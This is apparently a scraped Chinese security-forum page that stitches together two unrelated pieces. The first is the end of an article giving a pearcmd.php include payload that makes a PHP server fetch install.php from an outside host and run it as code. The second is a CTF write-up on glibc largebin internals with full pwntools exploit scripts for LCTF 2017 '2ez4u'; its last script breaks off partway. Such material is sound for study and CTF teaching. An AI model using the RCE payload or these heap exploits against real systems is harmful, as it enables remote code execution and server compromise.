http://eci-2zeguuukox00jv0u113l.cloudeci1.ichunqiu.com/?list+install+--installroot+/tmp/+http://ccreater.top:60006/install.php++++++++++++++$&f=pearcmd&
利用多个++++++来注释掉多余的部分
`http://eci-2zeguuukox00jv0u113l.cloudeci1.ichunqiu.com/?f=/tmp/tmp/pear/download/install`
任意命令执行
## 知识点总结
1: `eval虽然不能以<?php开头，但是能用?>结束php模式，之后可以用<?php再次进入php模式`
2:包含`/usr/local/lib/php/pearcmd.php`（通常在php的include_path中）从而RCE，利用条件:
1. 可以包含/usr/local/lib/php/下的文件
2. 服务器可以出网
payload:`url?list+install+--installroot+/tmp/+http://ccreater.top:60006/install.php++++++++++++++$&otherGetParam`+`include
"/usr/local/lib/php/pearcmd.php"`
接着包含`/tmp/tmp/pear/download/install` | 社区文章 |
# 一、largebin的原理学习
大于512（1024）字节(0x400)的chunk称之为large chunk，large bin就是用于管理这些large chunk的
Large bins 中一共包括 63 个 bin，index为64~126，每个 bin 中的 chunk 的大小不一致，而是处于一定区间范围内
largebin 的结构和其他链表都不相同，更加复杂
largebin里除了有fd、bk指针，另外还有fd_nextsize 和 bk_nextsize
这两个指针，因此是有横向链表和纵向链表2个链表，而纵向的链表目的在于加快寻找chunk的速度。
自己写个C语言学习下largebin的堆块分配方式：
#include<stdio.h>
#include<stdlib.h>
int main()
{
unsigned long *pa, *pb, *p1, *p2, *p3, *p4, *p5, *p6, *p7, *p8, *p9, *p10, *p11, *p12, *p13, *p14;
unsigned long *p;
pa = malloc(0xb0);
pb = malloc(0x20);
p1 = malloc(0x400);
p2 = malloc(0x20);
p3 = malloc(0x410);
p4 = malloc(0x20);
p5 = malloc(0x420);
p6 = malloc(0x20);
p7 = malloc(0x420);
p8 = malloc(0x20);
p9 = malloc(0x430);
p10 = malloc(0x20);
p11 = malloc(0x430);
p12 = malloc(0x20);
p13 = malloc(0x430);
p14 = malloc(0x20);
free(pa);
free(p1);
free(p3);
free(p5);
free(p7);
free(p9);
free(p11);
free(p13);
p = malloc(0x20);
p = malloc(0x80);
return 0;
}
可以看到申请的堆块0x400到0x420放在larbin(index64),而3个0x430的堆块放在largebin(index65)，下面用图来解析：
这是largebin中的堆块的分配示意图，上方的是size有相同和不同，但处于同一largebin的chunk分布，下方是相同size处于同一largebin的chunk分布。
很清楚地可以看到fk和bk形成的横向链表，fd_nextsize和bk_nextsize形成的纵向链表（看不出可以将图顺时针旋转90度再看看）
这里通过fd指针和bk指针形成循环链表很好理解，和之前的small bin和unsorted
bin一样，但是不同的在于，largebin中的chunk是按照从大到小的顺序排列的(表头大，表尾小)，当有相同size的chunk时则按照free的时间顺序排序。
同时相同size的chunk，只有第一个chunk会有fd_nextsize和bk_nextsize，其他的都没有，fd_nextsize和bk_nextsize置为0。
一般的，bk_nextchunk指向前一个比它大的chunk(表头和表尾除外)。这样就很好理解，fd_nextsize指向下一个比它小的chunk。
表头chunk的bk_nextsize指向表尾chunk，表尾的fd_nextsize指向表头chunk，从而fd_nextsize指针形成一个循环链表，bk_nextsize指针也形成一个循环链表，所以largebin的链表结构也相对复杂一些，但是理清楚了就好了。
了解了布局后，让我们继续看看申请largebin时的源码是什么样的：
if (!in_smallbin_range (nb))
{
bin = bin_at (av, idx);
//如果对应的 bin 为空或者其中的chunk最大的也很小，那就跳过
if ((victim = first (bin)) != bin &&
(unsigned long) (victim->size) >= (unsigned long) (nb))
{
// 反向遍历链表，找到第一个比size大的chunk
victim = victim->bk_nextsize;
while (((unsigned long) (size = chunksize (victim)) <
(unsigned long) (nb)))
victim = victim->bk_nextsize;
/* Avoid removing the first entry for a size so that the skip
list does not have to be rerouted. */
//如果取出的chunk不是bin的最后一个chunk，同时该chunk有大小相同的chunk连接在一起
//它就会取它前面的那个chunk
//因为大小相同的chunk只有一个会被串在nextsize链上
//这可以避免额外的bk_nextsize和fd_nextsize的赋值
if (victim != last (bin) && victim->size == victim->fd->size)
victim = victim->fd;
//计算切割后的大小
remainder_size = size - nb;
unlink (av, victim, bck, fwd);//通过unlink将chunk从链表移除
/* Exhaust */
if (remainder_size < MINSIZE)
{
//如果切割后的大小不足以作为一个chunk，那么就会将其标志位设为inuse
//同时设置NO_main_arena标志位
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
victim->size |= NON_MAIN_ARENA;
}
/* Split */
else
{
//如果剩余的大小可以作为一个chunk
//获得剩余部分的地址，放入unsorted bin中
remainder = chunk_at_offset (victim, nb);
/* We cannot assume the unsorted list is empty and therefore
have to perform a complete insert here. */
bck = unsorted_chunks (av);
fwd = bck->fd;
if (__glibc_unlikely (fwd->bk != bck))
{
errstr = "malloc(): corrupted unsorted chunks";
goto errout;
}
remainder->bk = bck;
remainder->fd = fwd;
bck->fd = remainder;
fwd->bk = remainder;
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
}
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}
源码中提到了unlink的操作，继续分析largebin的unlink操作： 结合着那个图就很好理解了
#define unlink(AV, P, BK, FD) { \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD;
//实现第一重横向脱链，fd和bk层面的
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV);
//进行第二重纵向的脱链，fd_nextsize和bk_nextsize
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
//第1种unlink情况，bin中的size都是相同的
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
//第2种unlink情况，size有相同和不同的，但都在一个largebin中
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else {
//第3种unlink情况，bin中的size都是不相同的
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}
再来看看free状态的largebin的插入是怎么样的：victim就是想要插入的块
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
{
bck = victim->bk;
if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
|| __builtin_expect (chunksize_nomask (victim)
> av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);
size = chunksize (victim);
/*
If a small request, try to use last remainder if it is the
only chunk in unsorted bin. This helps promote locality for
runs of consecutive small requests. This is the only
exception to best-fit, and applies only when there is
no exact fit for a small chunk.
*/
//我们知道在对unsorted bin检索完毕后，会对里面其他堆块进行bins位置分配。如果堆块是unsorted bin中的最后一个chunk，检索到的chunk的大小适合所请求的chunk，检索到的块是last remainder并且请求的字节小于MIN_LARGE_SIZE，检索到的chunk将被分割成所请求大小的chunk和剩余chunk。请求大小的chunk将返回给用户，剩余的chunk将再次插入unsorted bin中；如果不是最后一个，处理就是，是smallbin大小的就放smallbin，largebin大小的就放largebin，重点看largebin的分配。
if (in_smallbin_range (nb) &&
bck == unsorted_chunks (av) &&
victim == av->last_remainder &&
(unsigned long) (size) > (unsigned long) (nb + MINSIZE))
{
/* split and reattach remainder */
remainder_size = size - nb;
remainder = chunk_at_offset (victim, nb);
unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
av->last_remainder = remainder;
remainder->bk = remainder->fd = unsorted_chunks (av);
if (!in_smallbin_range (remainder_size))
{
remainder->fd_nextsize = NULL;
remainder->bk_nextsize = NULL;
}
set_head (victim, nb | PREV_INUSE |
(av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
set_foot (remainder, remainder_size);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);
/* Take now instead of binning if exact fit */
if (size == nb)
{
set_inuse_bit_at_offset (victim, size);
if (av != &main_arena)
set_non_main_arena (victim);
check_malloced_chunk (av, victim, nb);
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
/* place chunk in bin */
if (in_smallbin_range (size))
{
victim_index = smallbin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
}
else
{//这里就是largebin了，分3种插入，如果是比链表中最小的还小，就直接插入末端，如果比最大的大，就插入头结点，如果是处于中间的，就先遍历链表，找到第一个比它大的chunk，然后再实现插入。
victim_index = largebin_index (size);
bck = bin_at (av, victim_index);
fwd = bck->fd;
/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
{
fwd = bck;
bck = bck->bk;
victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
}
else
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd))
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}
if ((unsigned long) size == (unsigned long) chunksize_nomask (fwd))
/* Always insert in the second position. */
fwd = fwd->fd;
else
{ //重点看插入中间的，这是纵向列表的指针插入
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}
//这是横向列表的指针插入
mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
这里没有什么检查，所以我们可以伪造一个largebin堆块的bk和bk_nextsize，然后在实现assert时，就会把我们伪造的地址看成堆块，并在fake_chunk的fd和fd_nextsize处写入堆地址。
# 二、largebin的攻击原理
这里讲的是先部署好bk和bk_nextsize，当发生assert时，就会产生任意地址写堆地址的漏洞。
核心代码就是之前我们说的这个：p是第一个小于victim的堆块，bck是p的bk，所以链表关系是：
bck--->victim--->fwd，原始的横向列表和纵向列表都是bck--->fwd，即：
bck = fwd-->bk , bck=fwd-->bk_nextsize
而我们要做的利用堆溢出或者UAF漏洞，修改fwd的bk和bk_nextsize为fake_chunk地址，看代码就可以知道：
else
{
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;//往victim->bk_nextsize写入fake_chunk地址
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//往fake_chunk的fd_nextsize写入assert的堆地址
}
victim->bk = bck;//往victim-bk写入fake_chunk地址
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//往fake_chunk的fd写入assert的堆地址
所以就是通过修改fwd的bk和bk_nextsize，造成任意地址的fd和fd_nextsize写堆地址的漏洞。这个和unsortedbin
attack有点像，但是又不同。
用how2heap的那个例子看看：
一波伪造，使得0x602840的size为0x3f1，目的是让largebin插进来时，正好在0x602840和0x602840的bk之间，修改0x602840的bk为栈地址，0x602840的bk_nextsize也是栈地址，第一步修改成功了，接着让largebin进来：
可以看到fd的位置(0x7fffffffdcc0)写入了堆地址，fd_nextsize的位置(0x7fffffffdcd0)也写入了堆地址，验证完毕。
# 三、题目演示
LCTF - 2ez4u 2017
保护全开，习惯就好，ida继续分析：
void sub_1232()
{
__int64 savedregs; // [rsp+10h] [rbp+0h]
while ( 1 )
{
menu();
read_0();
switch ( &savedregs )
{
case 1u:
malloc_0();
break;
case 2u:
free_0();
break;
case 3u:
edit();
break;
case 4u:
show_0();
break;
case 5u:
exit(0);
return;
default:
puts("invalid choice !");
break;
}
}
}
熟悉的菜单题，一个个看功能：
malloc:
unsigned __int64 malloc_0()
{
signed int i; // [rsp+4h] [rbp-2Ch]
int v2; // [rsp+8h] [rbp-28h]
unsigned int v3; // [rsp+Ch] [rbp-24h]
unsigned int v4; // [rsp+10h] [rbp-20h]
unsigned int size; // [rsp+14h] [rbp-1Ch]
_QWORD *chunk; // [rsp+18h] [rbp-18h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
v7 = __readfsqword(0x28u);
if ( unk_202140 == 16 )//堆块个数最大16
{
puts("sorry XD");
}
else
{
printf("color?(0:red, 1:green):");
v2 = read_0();
if ( v2 != 1 && v2 )
{
puts("invalid");
}
else
{
printf("value?(0-999):");
v3 = read_0();
if ( v3 <= 0x3E7 )
{
printf("num?(0-16):");
v4 = read_0();
if ( v4 <= 0x10 )
{
printf("description length?(1-1024):");
size = read_0();
if ( size <= 0x400 && size )
{
chunk = malloc(size + 0x18LL);
printf("description of the apple:");
read_1((chunk + 3), size, 10);//description
*chunk = v2;//color
chunk[1] = v3;//value
*(chunk + 1) = v4;//num
for ( i = 0; i <= 15; ++i )
{
if ( !LODWORD(qword_202040[2 * i]) )//标志位为0就可以拿来用，index也会成为新的。
{
*(chunk + 4) = i;
qword_202040[2 * i + 1] = chunk;
HIDWORD(qword_202040[2 * i]) = size;
LODWORD(qword_202040[2 * i]) = 1;//低字节存使用标志位，和堆的管理一样，节省空间
++unk_202140;//数量
printf("apple index: %d\n", i);
return __readfsqword(0x28u) ^ v7;
}
}
}
else
{
puts("???");
}
}
else
{
puts("invalid");
}
}
else
{
puts("invalid");
}
}
}
return __readfsqword(0x28u) ^ v7;
}
这里可以知道申请的chunk最大为0x400，但是每一次申请都会加0x18，所以最大是0x418的chunk，已经到达了largebin的范围。这里可以清楚地看到堆块的布局：
struck chunk
{
int size；
int color；//4
int value；//4
int num；//8
int index；//8
char content[size-0x18];
}
很明显，这个0x18是用来隔开输入的，这样FD和BK就不能控制了，作者这一步还是挺好的，但是我们可以利用unsortedbin的切割，后面再讲，继续分析：
这是read函数，可以看到输入中，如果是回车，则变成\x00，输入结束后把末尾置为0截断，如果不输入也还是置为0，没有offbynull，多了个0截断。
free：
unsigned __int64 sub_E57()
{
unsigned int idx; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
printf("which?(0-15):");
idx = read_0();
if ( idx <= 0xF && LODWORD(qword_202040[2 * idx]) )
{
LODWORD(qword_202040[2 * idx]) = 0; //标志位清0，无法double free
free(qword_202040[2 * idx + 1]); //UAF
--unk_202140;
}
else
{
puts("???");
}
return __readfsqword(0x28u) ^ v2;
}
edit：
unsigned __int64 sub_F19()
{
unsigned int idx; // [rsp+8h] [rbp-18h]
int v2; // [rsp+Ch] [rbp-14h]
unsigned int v3; // [rsp+10h] [rbp-10h]
unsigned int v4; // [rsp+14h] [rbp-Ch]
unsigned __int64 v5; // [rsp+18h] [rbp-8h]
v5 = __readfsqword(0x28u);
printf("which?(0-15):");
idx = read_0();
if ( idx <= 0xF && qword_202040[2 * idx + 1] )
{
printf("color?(0:red, 1:green):");
v2 = read_0();
if ( v2 != 1 && v2 )
puts("invalid");
else
*qword_202040[2 * idx + 1] = v2;
printf("value?(0-999):");
v3 = read_0();
if ( v3 <= 0x3E7 )
*(qword_202040[2 * idx + 1] + 1) = v3;
else
puts("invalid");
printf("num?(0-16):");
v4 = read_0();
if ( v4 <= 0x10 )
qword_202040[2 * idx + 1][1] = v4;
else
puts("invalid");
printf("new description of the apple:");
read_1((qword_202040[2 * idx + 1] + 6), HIDWORD(qword_202040[2 * idx]), 10);
//漏洞点，根据下标去索引，而下标是没有被清空的，结合UAF漏洞，即可实现Free堆块的edit，就会有溢出的产生
}
else
{
puts("invalid");
}
return __readfsqword(0x28u) ^ v5;
}
最后是show函数：
正常打印，但是只有descrition的大小才够打出我们需要的地址来。这道题到这里就分析完了：
1、有UAF漏洞，有可以edit一个free掉的堆块（利用index更新机制）
2、利用unsortedbin中相邻物理地址的堆块合并(向前合并)，假设有0x100的chunk1和chunk2，都free掉，我们可以得到一个chunk0(0x200)，这里再次申请chunk3(0x110)，就会把main_arena+88的真实地址写入到free的chunk2的description中，然后我们再show下chunk2的内容，就可以得到真实地址。
3、如果我们有chunk0(0x20)--->chunk1(0x20)--->chunk2(0x120)，free2，再free0，再free1，毫无疑问，下一次申请chunk4(0x90)和chunk5(0x50)还是切割chunk2，但是下标变成了0和1，而我们利用第一点，edit下我们的2号块，size是0x120，就可以实现任意写chunk4和chunk5。FD指针和BK指针都可以控制了。
接下来用2种方法做这道题：
第一种是fastbin attack+unsourtedbin attack：
第二种是largebin attack
第一种方法，泄露了地址后，利用unsorted
bin去攻击malloc_hook-0x50，从而在malloc_hook-0x40写入了main_arena+88真实地址，所以在malloc_hook-0x43处会有0x7f的size头可以构造fake_chunk，利用edit去写FD伪造，申请出来就是常规写onegadget的操作了。之所以这样就是因为写入description要隔开0x18的大小，所以之前malloc_hook-0x23的位置没有用了，得自己构造，这样写入的偏移还是0x13，这里直接上exp:
#coding=utf8
from pwn import *
from libformatstr import FormatStr
context.log_level = 'debug'
context(arch='amd64', os='linux')
local = 1
elf = ELF('./2ez4u')
if local:
p = process('./2ez4u')
libc = elf.libc
else:
p = remote('192.168.100.20',50005)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#onegadget64(libc.so.6) 0x45216 0x4526a 0xf02a4 0xf1147
#onegadget32(libc.so.6) 0x3ac5c 0x3ac5e 0x3ac62 0x3ac69 0x5fbc5 0x5fbc6
# payload32 = fmtstr_payload(offset ，{xxx_got:system_addr})
# f = FormatStr(isx64=1)
# f[0x8048260]=0x45372800
# f[0x8048260+4]=0x7f20
# f.payload(7)
#shellcode = asm(shellcraft.sh())
#shellcode32 = '\x68\x01\x01\x01\x01\x81\x34\x24\x2e\x72\x69\x01\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\x6a\x0b\x58\xcd\x80'
#shellcode64 = '\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x63\x68\x6f\x2e\x72\x69\x01\x48\x31\x04\x24\x48\x89\xe7\x31\xd2\x31\xf6\x6a\x3b\x58\x0f\x05'
#shellcode64 = '\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05'
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
# i = 0
# while True:
# i += 1
# print i
# if local:
# p = process('./babypie')
# libc = elf.libc
# else:
# p = remote('',)
# libc = ELF('./')
# sl = lambda s : p.sendline(s)
# sd = lambda s : p.send(s)
# rc = lambda n : p.recv(n)
# ru = lambda s : p.recvuntil(s)
# ti = lambda : p.interactive()
# system_addr = '\x3E\x0A'
# py = ''
# py += 'a'*0x28 +'\x01'
# sd(py)
# ru('\x01')
# canary = '\x00' + p.recv()[:7]
# print "canary--->" + hex(u64(canary))
# py = ''
# py += 'a'*0x28 + canary + 'aaaaaaaa' + system_addr
# sd(py)
# try:
# p.recv(timeout = 1)
# except EOFError:
# p.close()
# continue
# p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
# def mid_overflow(offset,func_got,rdi,rsi,rdx,next_func):
# payload = ''
# payload += 'a'*offset
# payload += 'aaaaaaaa'
# payload += p64(pppppp_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(1)
# payload += p64(func_got)
# payload += p64(rdx)
# payload += p64(rsi)
# payload += p64(rdi)
# payload += p64(mov_ret)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(0)
# payload += p64(next_func)
# ru('Input:\n')
# sd(payload)
def malloc(color,value,num,size,content):
ru("your choice: ")
sl('1')
ru("color?(0:red, 1:green):")
sl(str(color))
ru("value?(0-999):")
sl(str(value))
ru("num?(0-16):")
sl(str(num))
ru("description length?(1-1024):")
sl(str(size))
ru("description of the apple:")
sl(content)
def free(index):
ru("your choice: ")
sl('2')
ru("which?(0-15):")
sl(str(index))
def edit(index,color,value,num,content):
ru("your choice: ")
sl('3')
ru("which?(0-15):")
sl(str(index))
ru("color?(0:red, 1:green):")
sl(str(color))
ru("value?(0-999):")
sl(str(value))
ru("num?(0-16):")
sl(str(num))
ru("new description of the apple:")
sl(content)
def show(index):
ru("your choice: ")
sl('4')
ru("which?(0-15):")
sl(str(index))
malloc(0,0x100,0,0x68,'aaaa')#0
malloc(0,0x100,0,0x68,'bbbb')#1
malloc(0,0x100,0,0x68,'cccc')#2
# debug(0)
free(0)
free(1)
malloc(0,0x100,0,0x78,'dddd')
show(1)
ru("description:")
libc_base = u64(rc(6).ljust(8,'\x00')) - 0x3c4b78
print "libc_base--->" + hex(libc_base)
malloc_hook = libc_base + libc.sym["__malloc_hook"]
realloc = libc_base + libc.sym["realloc"]
fake_chunk = malloc_hook - 0x43
onegadget = libc_base + 0xf1147
free(2)
free(0)
malloc(0,0x100,0,0x20,'eeee')
malloc(0,0x100,0,0x20,'ffff')
malloc(0,0x100,0,0x100,'eeee')
malloc(0,0x100,0,0x20,'pppp')
# debug(0)
free(2)
free(0)
free(1)
#unsorted bin attack
malloc(0,0x100,0,0x90,'eeee')
py = ''
py += 'a'*0x88
py += p64(0) + p64(0x71)
py += p64(0) + p64(malloc_hook-0x50)
edit(2,0,0,0,py)
malloc(0,0x100,0,0x50,'hhhh')
free(1)
py = ''
py += 'a'*0x88
py += p64(0) + p64(0x71)
py += p64(malloc_hook-0x43)
edit(2,0,0,0,py)
malloc(0,0x100,0,0x50,'hhhh')
py = ''
py += 'a'*0x13 + p64(onegadget) + p64(realloc+4)
malloc(0,0x100,0,0x50,py)
# debug(0xd22)
ru("your choice: ")
sl('1')
ru("color?(0:red, 1:green):")
sl('0')
ru("value?(0-999):")
sl('0')
ru("num?(0-16):")
sl('0')
ru("description length?(1-1024):")
sl('777')
p.interactive()
这里主要讲largebin attack，下面进入正题：
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *
from ctypes import c_uint32
context.arch = 'x86-64'
context.os = 'linux'
context.log_level = 'DEBUG'
io = process("./2ez4u", env = {"LD_PRELOAD" : "./libc.so"})
base_addr = 0x0000555555554000
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))
def add(l, desc):
io.recvuntil('your choice:')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline('0')
io.recvuntil('value?(0-999):')
io.sendline('0')
io.recvuntil('num?(0-16)')
io.sendline('0')
io.recvuntil('description length?(1-1024):')
io.sendline(str(l))
io.recvuntil('description of the apple:')
io.sendline(desc)
#pass
def dele(idx):
io.recvuntil('your choice:')
io.sendline('2')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
#pass
def edit(idx, desc):
io.recvuntil('your choice:')
io.sendline('3')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
io.recvuntil('color?(0:red, 1:green):')
io.sendline('2')
io.recvuntil('value?(0-999):')
io.sendline('1000')
io.recvuntil('num?(0-16)')
io.sendline('17')
io.recvuntil('new description of the apple:')
io.sendline(desc)
#pass
def show(idx):
io.recvuntil('your choice:')
io.sendline('4')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
#pass
add(0x60, '0'*0x60 ) #
add(0x60, '1'*0x60 ) #
add(0x60, '2'*0x60 ) #
add(0x60, '3'*0x60 ) #
add(0x60, '4'*0x60 ) #
add(0x60, '5'*0x60 ) #
add(0x60, '6'*0x60 ) #
add(0x3f0, '7'*0x3f0) # playground
add(0x30, '8'*0x30 )
add(0x3e0, '9'*0x3d0) # sup
add(0x30, 'a'*0x30 )
add(0x3f0, 'b'*0x3e0) # victim
add(0x30, 'c'*0x30 )
dele(0x9)
dele(0xb)
dele(0x0)
# debug(0)
add(0x400, '0'*0x400)
# leak
show(0xb)
io.recvuntil('num: ')
print(hex(c_uint32(int(io.recvline()[:-1])).value))
io.recvuntil('description:')
HEAP = u64(io.recvline()[:-1]+'\x00\x00')-0x7e0
log.info("heap base 0x%016x" % HEAP)
target_addr = HEAP+0xb0 # 1
chunk1_addr = HEAP+0x130 # 2
chunk2_addr = HEAP+0x1b0 # 3
victim_addr = HEAP+0xc30 # b
# large bin attack
edit(0xb, p64(chunk1_addr)) # victim bk_nextsize
edit(0x1, p64(0x0)+p64(chunk1_addr)) # target
# debug(0)
chunk2 = p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(0x421)
chunk2 += p64(0x0)
chunk2 += p64(0x0)
chunk2 += p64(chunk1_addr) #fd_nextsize
edit(0x3, chunk2) # chunk2
# debug(0)
chunk1 = ''
chunk1 += p64(0x0)
chunk1 += p64(0x0)
chunk1 += p64(0x411)
chunk1 += p64(target_addr-0x18)
chunk1 += p64(target_addr-0x10)
chunk1 += p64(victim_addr)
chunk1 += p64(chunk2_addr)
edit(0x2, chunk1) # chunk1
edit(0x7, '7'*0x198+p64(0x410)+p64(0x411))
dele(0x6)
dele(0x3)
add(0x3f0, '3'*0x30+p64(0xdeadbeefdeadbeef)) # chunk1, arbitrary write !!!!!!!
add(0x60, '6'*0x60 ) #
show(0x3)
io.recvuntil('3'*0x30)
io.recv(8)
LIBC = u64(io.recv(6)+'\x00\x00')-0x3c4be8
log.info("libc base 0x%016x" % LIBC)
junk = ''
junk += '3'*0x30
junk += p64(0x81)
junk += p64(LIBC+0x3c4be8)
junk += p64(HEAP+0x300)
junk = junk.ljust(0xa8, 'A')
junk += p64(0x80)
recovery = ''
recovery += junk
recovery += p64(0x80) # 0x4->size
recovery += p64(0x60) # 0x4->fd
dele(0x5)
dele(0x4)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x60, '4'*0x60 ) #
recovery = ''
recovery += junk
recovery += p64(0x70) # 0x4->size
recovery += p64(0x0) # 0x4->fd
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40, '5'*0x30 ) #
dele(0x5)
# gdb.attach(io, 'b *0x%x' % (base_addr+0x124e))
recovery = ''
recovery += '3'*0x30
recovery += p64(0x61)
recovery += p64(LIBC+0x3c4b50)
edit(0x3, recovery) # victim, start from HEAP+0x158
add(0x40, '5'*0x30 ) #
add(0x40, p64(LIBC+0x3c5c50)) #
# recovery
edit(0xb, p64(HEAP+0x7e0))
dele(0x6)
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '\x00') #
add(0x300, '/bin/sh') #
dele(0x1)
add(0x300, '\x00'*0x1d0+p64(LIBC+0x4526a)) #
debug(0)
dele(15)
io.interactive()
因为这个程序有0x18的阻拦，所以泄露地址其实有点问题，这里全程采用largebin的方法去做：
利用了largebin的unlink漏洞，大概思路如下：
1、2个largebin的堆块入bin，泄露出bk_nextsize处的堆地址
2、有了堆地址，我们可以伪造fake_largebin_chunk(伪造指针)进行largebin的attack，从而利用堆块重叠，可以泄露出libc地址
3、有了地址，我们再利用UAF漏洞实现fastbin的attack，修改arena上的topchunk地址为free_hook上方，接着再malloc就会从新的topchunk地址处切割，就可以修改free_hook为system，然后free一个binsh的堆块既可getshell
先上完整的exp:
#!/usr/bin/env python2.7
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *
from ctypes import c_uint32
from pwn import *
debug=1
context.log_level='debug'
context.arch='amd64'
e=ELF('./2ez4u')
if debug:
io=process('./2ez4u')
libc=e.libc
# gdb.attach(p)
else:
io=remote('',)
base_addr = 0x0000555555554000
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))
def add(l, desc):
io.recvuntil('your choice:')
io.sendline('1')
io.recvuntil('color?(0:red, 1:green):')
io.sendline('0')
io.recvuntil('value?(0-999):')
io.sendline('0')
io.recvuntil('num?(0-16)')
io.sendline('0')
io.recvuntil('description length?(1-1024):')
io.sendline(str(l))
io.recvuntil('description of the apple:')
io.sendline(desc)
#pass
def dele(idx):
io.recvuntil('your choice:')
io.sendline('2')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
#pass
def edit(idx, desc):
io.recvuntil('your choice:')
io.sendline('3')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
io.recvuntil('color?(0:red, 1:green):')
io.sendline('2')
io.recvuntil('value?(0-999):')
io.sendline('1000')
io.recvuntil('num?(0-16)')
io.sendline('17')
io.recvuntil('new description of the apple:')
io.sendline(desc)
#pass
def show(idx):
io.recvuntil('your choice:')
io.sendline('4')
io.recvuntil('which?(0-15):')
io.sendline(str(idx))
#pass
add(0x60, '0'*0x60 ) #
add(0x60, '1'*0x60 ) #
